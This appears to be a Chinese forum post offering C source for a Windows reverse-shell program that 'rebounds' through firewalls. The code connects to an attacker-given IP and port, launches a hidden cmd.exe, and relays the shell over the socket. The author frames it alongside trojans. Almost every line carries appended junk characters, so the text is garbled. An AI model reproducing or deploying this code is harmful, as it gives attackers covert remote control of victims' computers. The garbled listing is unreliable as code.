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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &;bey4_J  
!+z&] S3s  
/* ============================== 5IA3\G}+  
Rebound port in Windows NT $DaQM'-  
By wind,2006/7 !ALq?u  
===============================*/ IR{XL\WF  
#include k8!:`jG  
#include ILx4 [m7  
G?,"AA;  
#pragma comment(lib,"wsock32.lib") njaKU?6%d2  
#Cx#U"~G`  
void OutputShell(); M~h.M PI  
SOCKET sClient; B6j/"x6N15  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v$xurj:v#i  
6XHM`S  
void main(int argc,char **argv) IEd?-L  
{ ~xv3R   
WSADATA stWsaData; \mTi@T!&  
int nRet; OnU-FX<  
SOCKADDR_IN stSaiClient,stSaiServer; /bn$@Cy@  
/;T tMQt  
if(argc != 3) !xBJJ/K+|  
{ H )>3c1  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ly/  
return; #k1IrqUp  
} L]H' ]wpn=  
N`{ 6<Z0  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZNl1e'  
Vc6 >i|"-O  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c[V.j+Iy#^  
I5Ty@J#  
stSaiClient.sin_family = AF_INET; pN_%>v"o  
stSaiClient.sin_port = htons(0); Pe-rwM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8_ascvs5  
O)DAYBv^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _;%l~q/  
{ x}O,xquY  
printf("Bind Socket Failed!\n"); R+t]]n6#  
return; `mI5Z*]-  
} K'/if5>Bc  
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stSaiServer.sin_family = AF_INET; ho)JY $#6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0~+*$W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?S9vYaA$  
W'=}2Y$]u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vC^{,?@  
{ hrO9_B|#  
printf("Connect Error!"); 2#00<t\  
return; `>b,'u6F  
} Vugb;5Vl  
OutputShell(); lWd@  
} x%O6/rl  
\YFM5l;IU  
void OutputShell() m>F:dI  
{ r&Qa;-4Pl  
char szBuff[1024]; )m[<lJ bw  
SECURITY_ATTRIBUTES stSecurityAttributes; ^fyue~9u  
OSVERSIONINFO stOsversionInfo; ,KD?kSIf  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z;?j+ZsdH  
STARTUPINFO stStartupInfo; 00s)=A_  
char *szShell; XPZ8*8JL  
PROCESS_INFORMATION stProcessInformation; k.jBu  
unsigned long lBytesRead; Rry] 6(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AlG5n'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Gg]Jp:GF  
stSecurityAttributes.lpSecurityDescriptor = 0; %rgW}Z5  
stSecurityAttributes.bInheritHandle = TRUE; =F Y2O`%a  
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ASrRMH[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qJf\,7mi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h{H*k#>  
-'L~Y~'.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,Vo[mB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H3`.Y$z  
stStartupInfo.wShowWindow = SW_HIDE; ~'0ZW<X.  
stStartupInfo.hStdInput = hReadPipe; )n 1[#x^I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F|R7hqf  
r{84Y!k~*  
GetVersionEx(&stOsversionInfo); _ WPt zL  
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switch(stOsversionInfo.dwPlatformId) $duT'G, -  
{ .Pte}pM"v  
case 1: 6w(r}yO]  
szShell = "command.com"; En#Q p3  
break; _d!o,=}  
default: $-~"G,;F  
szShell = "cmd.exe"; ,nCvA%B!  
break; CWRB/WH:  
} ~b!la  
tJn"$A ^N  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "vQ%` Q  
RLL%l  
send(sClient,szMsg,77,0); A%7f;&x!  
while(1) hW/Ve'x[  
{ (i1x<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WHOX<YJs  
if(lBytesRead) Iz-mUD0;  
{ Q<g>WNb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /Hq  
send(sClient,szBuff,lBytesRead,0); ~tV7yY|zr  
} o)n)Z~  
else D/ sYH0.V$  
{ l?rLadvc  
lBytesRead=recv(sClient,szBuff,1024,0); | 5:2?S2R  
if(lBytesRead<=0) break; o1?-+P/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;ND[+i2MN  
} ^OX}y~'  
} .T ,HtHe  
-*~ @?  
return; vfvp#  
}
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